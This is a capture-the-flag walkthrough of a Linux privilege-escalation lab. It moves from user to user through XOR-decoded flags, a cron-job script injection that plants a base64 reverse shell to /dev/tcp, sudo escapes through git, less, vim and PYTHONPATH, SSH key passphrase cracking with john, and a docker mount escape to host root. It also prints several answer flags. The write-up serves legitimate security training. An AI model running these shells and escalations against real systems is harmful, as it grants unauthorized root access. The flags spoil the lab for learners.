Description: This Room will help you to sharpen your Linux Skills and help you to learn basic privilege escalation in a HITMAN theme. So, pack your briefcase and grab your SilverBallers as its gonna be a tough ride.
An invisible character was making the flag hidden. So use the -v or
--show-nonprinting option of cat to display the invisible char.
1 2 3 4
mission3@linuxagency:~$ cat flag.txt I am really sorry man the flag is stolen by some thief's. mission3@linuxagency:~$ cat -v flag.txt mission4{edited}^MI am really sorry man the flag is stolen by some thief's.
It's just a XOR with a simple key (13) so we could break it easily outside but
I may be even easier just to compile the Java class.
So compile & run it:
1 2 3 4 5
mission17@linuxagency:~$ javac flag.java mission17@linuxagency:~$ ls flag.class flag.java mission17@linuxagency:~$ java flag mission18{edited}
defencryptDecrypt(string) key = ['K', 'C', 'Q'] result = "" codepoints = string.each_codepoint.to_a codepoints.each_index do |i| result += (codepoints[i] ^ 'Z'.ord).chr end result end
#include<stdio.h> intmain() { char flag[] = "gcyyced8:qh:>28l3o3:i2kn8>8;hl>9?9in2oko;iw"; int length = strlen(flag); for (int i = 0 ; i < length ; i++) { flag[i] = flag[i] ^ 10; printf("%c",flag[i]); } printf("\n\n"); return0; }
Let's compile & run it:
1 2 3 4 5 6 7 8 9
mission19@linuxagency:~$ gcc flag.c flag.c: In function ‘main’: flag.c:5:18: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration] int length = strlen(flag); ^~~~~~ flag.c:5:18: warning: incompatible implicit declaration of built-in function ‘strlen’ flag.c:5:18: note: include ‘<string.h>’ or provide a declaration of ‘strlen’ mission19@linuxagency:~$ ./a.out mission20{edited}
mission20@linuxagency:~$ cat flag.py flag = ">: :<=ab(d76dfe2210fak1gge5e61`kgbj`bk5c0." for i inrange(len(flag)): flag = (flag[:i] + chr(ord(flag[i]) ^ ord("S")) +flag[i + 1:]); print(flag[i], end = ""); print()
One way to do it is to make spawn a shell from python.
1 2 3 4 5 6 7 8 9
mission21@linuxagency:~$ su mission22 Password: Python 3.6.9 (default, Oct 8 2020, 12:12:24) [GCC 8.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import pty >>> pty.spawn("/bin/bash") mission22@linuxagency:/home/mission21$ cd mission22@linuxagency:~$ cat flag.txt
Here we can check the existing hosts in /etc/hosts, there are severals
configured for 127.0.0.1. One is for our mission, it must be configured
with an Apache httpd virtual host. We can use curl to browse web pages in
CLI.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
mission23@linuxagency:~$ cat message.txt The hosts will help you. [OPTIONAL] Maybe you will need curly hairs. mission23@linuxagency:~$ cat /etc/hosts 127.0.0.1 localhost linuxagency mission24.com 127.0.1.1 ubuntu linuxagency
# The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback linuxagency fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters mission23@linuxagency:~$ curl http://mission24.com -s | grep mission <title>mission24{edited}</title>
We have a jpeg image but we can use strings to check is there a hidden
string in it. By using option -n we can tell it to only display strings
larger than 20 bytes.
Interestingly enough, the file flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz
is seen as a gzip file by file but is seen as a GIF by less which displays
us the following magic byte + the flag:
1 2 3
mission27@linuxagency:~$ less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz GIF87a mission28{edited}
viktor@linuxagency:~$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
# m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) * * * * * dalia sleep 30;/opt/scripts/47.sh * * * * * root echo "IyEvYmluL2Jhc2gKI2VjaG8gIkhlbGxvIDQ3IgpybSAtcmYgL2Rldi9zaG0vCiNlY2hvICJIZXJlIHRpbWUgaXMgYSBncmVhdCBtYXR0ZXIgb2YgZXNzZW5jZSIKcm0gLXJmIC90bXAvCg==" | base64 -d > /opt/scripts/47.sh;chown viktor:viktor /opt/scripts/47.sh;chmod +x /opt/scripts/47.sh;
Every minute the script /opt/scripts/47.sh will be overwritten and it will be
executed after 30 seconds. So if we put a reverse shell in it we will obtain
a dalia shell or copy a SUID file.
Then on the target machine we inject our payload in the script used by the cron job:
1 2 3 4 5 6 7 8
viktor@linuxagency:~$ echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d > /opt/scripts/47.sh viktor@linuxagency:~$ netcat -nlp 9999 id bash: cannot set terminal process group (3389): Inappropriate ioctl for device bash: no job control in this shell dalia@linuxagency:~$ id uid=1034(dalia) gid=1034(dalia) groups=1034(dalia) dalia@linuxagency:~$
What is silvio's flag?
Answer:
silvio{657b4d058c03ab9988875bc937f9c2ef}
dalia can execute the zip command as silvio:
1 2 3 4 5 6 7
dalia@linuxagency:~$ sudo -l Matching Defaults entries for dalia on localhost: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dalia may run the following commands on localhost: (silvio) NOPASSWD: /usr/bin/zip
Code: sudo PAGER='sh -c "exec sh 0<&1"' git -p help
Description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. Code: sudo git -p help config !/bin/sh
Description: The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. Code: sudo git branch --help config !/bin/sh
Description: Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option. Code: TF=$(mktemp -d) git init "$TF" echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample" mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit" sudo git -C "$TF" commit --allow-empty -m x
silvio@linuxagency:~$ sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help $ id uid=1033(reza) gid=1033(reza) groups=1033(reza) $ export HOME=/home/reza $ cd $ cat flag.txt
What is jordan's flag?
Answer:
jordan{fcbc4b3c31c9b58289b3946978f9e3c3}
1 2 3 4 5 6 7
$ sudo -l Matching Defaults entries for reza on localhost: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User reza may run the following commands on localhost: (jordan) SETENV: NOPASSWD: /opt/scripts/Gun-Shop.py
We don't have the permission to read the script.
But by executing it we can see it tries to load a module that is not there:
1 2 3 4 5
$ sudo -u jordan /opt/scripts/Gun-Shop.py Traceback (most recent call last): File "/opt/scripts/Gun-Shop.py", line 2, in <module> import shop ModuleNotFoundError: No module named 'shop'
From sudo man page:
-l, --list If no command is specified, list the allowed (and forbidden) commands for the invoking user (or the user specified by the -U option) on the current host. A longer list format is used if this option is specified
multiple times and the security policy supports a verbose output format.
If a command is specified and is permitted by the security policy, the fully-qualified path to the command is displayed along with any command line arguments. If a command is specified but not allowed by the pol‐
icy, sudo will exit with a status value of 1.
Using two times the -l option we obtain the advaced policy details:
1 2 3 4 5 6 7 8 9 10 11 12 13
$ sudo -ll sudo -ll Matching Defaults entries for reza on linuxagency: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User reza may run the following commands on linuxagency:
Sudoers entry: RunAsUsers: jordan Options: setenv, !authenticate Commands: /opt/scripts/Gun-Shop.py
We can see the option setenv that allow us to set envrionement variables,
so we can set one to specify the python PATH.
1 2 3 4 5 6
$ mkdir -p /tmp/shop; echo'import os; os.system("/bin/bash");' > /tmp/shop/shop.py $ sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py jordan@linuxagency:/home/silvio$ id id uid=1035(jordan) gid=1035(jordan) groups=1035(jordan) }3c3e9f8796493b98285b9c13c3b4cbcf{nadroj
jordan can run less as ken, you can type !/bin/bash in most tools
with a pager like less.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
jordan@linuxagency:~$ sudo -l Matching Defaults entries for jordan on linuxagency: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jordan may run the following commands on linuxagency: (ken) NOPASSWD: /usr/bin/less
jordan@linuxagency:~$ sudo -u ken /usr/bin/less /etc/os-release
ken@linuxagency:/home/jordan$ cd
ken@linuxagency:~$ id uid=1036(ken) gid=1036(ken) groups=1036(ken)
ken@linuxagency:~$ cat flag.txt ken{edited}
What is sean's flag?
Answer:
sean{4c5685f4db7966a43cf8e95859801281}
ken can run vim as sean, the escape tricks is nearly the same, launch vim
and type :!/bin/bash:
1 2 3 4 5 6 7 8 9 10 11 12
ken@linuxagency:~$ sudo -l Matching Defaults entries for ken on linuxagency: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User ken may run the following commands on linuxagency: (sean) NOPASSWD: /usr/bin/vim
ken@linuxagency:~$ sudo -u sean vim
sean@linuxagency:~$ id uid=1037(sean) gid=1037(sean) groups=1037(sean),4(adm)
$ sed 's/decodestring/decodebytes/' /usr/bin/ssh2john | python3.9 - id_rsa_robert id_rsa_robert:$sshng$1$16$7903FE7BDBA051C4B0BF7C6C5C597E0B$1200$891ce91faaa35c3be6554e70c1853b4d07f240722a63347436abb39d9dce897c9a48e6a8be03d77463f7af9d2f7c857a8b4ec7ed949ccf3e27b9e9d8246204ed97c362d55503d47a21d70865e7181762f739f1e847f82118e95b2c2f87caf93244c72b1206a3a5d57bcc23d11dc922062a31cf1d4aee47e48a7ca2481a15f69cfd3ee00aa38ece1ed28376d8d6155f803e48966bc682980192842f5166464b311855911d136463a02464ecfcc9dca29c8927a4e027d0331dc428def71fe40de4edfdfef4d8b0ee6305996ad4df958e0690329c690af5e0d3bedfc3a08309713f4a2f5041684cd178ef2611336a7d3e4642770eff8b41486ed0694ea942477e522642b65b69e3b4eef61c1212cc4322579eb29b819fd9831eb62d0430bc8c406a9ea9b4b0375838fce351330348982a98b6749736a04dad4e30d525bd1033e5275ee1b280a1846056f056278c219f81fe3881e1150ead6c256bff4b68b18adcf5e84ce0de13889d12c9facfd57983a3c6ee77e52d35fd937ffbca8d84fd14ffbff87aab227d68bb80afbeefe33dbc1553c123878097fd32610cae89a8bceca8ea7433c8c171c091fb3ad15dc66c28b9c62544eac4ac0c2fb16146202079398e531e375d53afceb34e999fbc1266e61387d6e71f54291da7cca8082f01c0a5ac8a76629bca6f7ab92a103a6e0ac9c5e3a03570f6702045041543edcd772d09c2ec9737b91e35c7ac10de616f954d37d54f8e9fa64be73f09cb722d28199062627f6af637edf1d80645903b34e7db0f401f141af238c38d6a181b9b7ec1c0bd53d6287f870208f58b544cd3f5d9e572889742b888efde439c5300f6a1e757fa2c2627668fc6e9f33b213ef693467428c67c122c921ad44272feefae45518e4826c389407862c9f4504ec3c21d29af5fb5825ab8a63f1341acd5085e7e5fb72b6041e0f27e3ebfdda19dc392ae10fd83eb2a76ca11bb3fdd9bdbbbf5d3e72fa3a12eadcc5dd16b3eb15b4920dcdc9a035079579ce88f4fed9c16fd2dcd181fbb36413fbd76b147e30f2d6f9923c9dd639444771ece26df5727882b310e52a84f093fb801aead6db7359e1017edff3e08d9461b9da4d8dc38febd62cd9718079cc4ef6e071f498cf47f727f5ce78bf8b3f9079fabf6e1e5c5dae186944b2f129cc8a64e940daa7b628c6744a20fa34999e46eff312f7e44be9dbfdae627a21077b0ab7cf8e1cfcb27a9fb8608056f78a58838f9e57d88982769d0eb20354a8cadf68bad7cb6f02330e1edef9ea9a38fd9a9a1ac60aac31ae3f5c8f8b07fcccef2995404731f786cdfdc119a812dc7d30bfee5eca76d83a943833b173b71d52546cf7dcd38fc08716933a5fe8a1485df7120d2a049c24c96cdd29088528d4e6f25778c33a2fd6d74a7910bb9e5521e45e2591fc84c6251396526af292772400bf2c4bd05c5d38d5f72643446fa0bd67de7caa22fbce8ee63b50366b726b9643e7a974400f2b33a0931844aaca33b7c923f35d26ddb8c85a781e9f045c18be8cd59b2fc13d58c0650a1b8ef05f665ededa7781e2b83540fd19d649222bbca9da7230814a47d31f3373eeaf925150ad088c20f8df193da7a2d960ad340b73761787b1c0c61ee641d87aa64ba65e258d9481a0db442b505b6127df06dd9776842c02f7edd62c2376d67d13ae38a13a7d4188e5a04
Else we would only need:
1
$ ssh2john id_rsa_robert
Let's crack it with JtR:
1 2 3 4 5 6 7 8 9 10 11 12 13
$ john robert_ssh.txt -w=/usr/share/wordlists/passwords/rockyou.txt --format=ssh Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 8 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status edited (id_rsa_robert) Warning: Only 1 candidate left, minimum 8 needed for performance. 1g 0:00:00:03 DONE (2021-02-05 15:39) 0.2538g/s 3640Kp/s 3640Kc/s 3640KC/s *7¡Vamos! Session completed
But we can't connect directly nor via the public SSH:
1 2
maya@linuxagency:~$ su robert No passwd entry for user 'robert'
1 2 3
ssh robert@10.10.253.250 -i id_rsa_robert Enter passphrase for key 'id_rsa_robert': Connection closed by 10.10.253.250 port 22
But there is maybe another SSH running on localhost port 2222:
ssh robert@127.0.0.1 -p 2222 -i olold_robert_ssh/id_rsa Warning: Identity file olold_robert_ssh/id_rsa not accessible: No such file or directory. robert@127.0.0.1's password:
Last login: Tue Jan 12 17:02:07 2021 from 172.17.0.1 robert@ec96850005d6:~$ id uid=1000(robert) gid=1000(robert) groups=1000(robert)
What is user.txt?
Answer:
user{620fb94d32470e1e9dcf8926481efc96}
1 2 3 4 5
robert@ec96850005d6:~$ cat robert.txt cat robert.txt You shall not pass from here!!!
I will not allow ICA to take over my world.
For sure we are in a docker container:
1 2
robert@ec96850005d6:~$ ls -lh /.dockerenv -rwxr-xr-x 1 root root 0 Jan 12 12:50 /.dockerenv
Sudo version 1.8.21p2 is vulnerable to EDB-ID 47502
1 2 3 4 5 6 7 8 9 10
robert@ec96850005d6:~$ sudo --version Sudo version 1.8.21p2 Sudoers policy plugin version 1.8.21p2 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.21p2
Now we must escape from the container to the host.
We have the docker binary put in our docker container:
1 2 3
root@ec96850005d6:/root# ls -lh /tmp total 86M -rwxr-xr-x 1 root robert 86M Jan 12 16:39 docker
We should easily EoP with that:
1 2 3 4 5 6 7
$ gtfoblookup linux shell docker docker:
shell:
Description: The resulting is a root shell. Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Let's see the image running:
1 2 3 4
root@ec96850005d6:/root# /tmp/docker ps /tmp/docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES ec96850005d6 mangoman "/usr/sbin/sshd -D" 3 weeks ago Up 2 hours 127.0.0.1:2222->22/tcp kronstadt_industrie
Let's exploit that from docker container root to docker host root:
1 2 3 4 5 6
root@ec96850005d6:/root# /tmp/docker run -v /:/mnt --rm -it mangoman chroot /mnt sh shp/docker run -v /:/mnt --rm -it mangoman chroot /mnt # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt root{edited}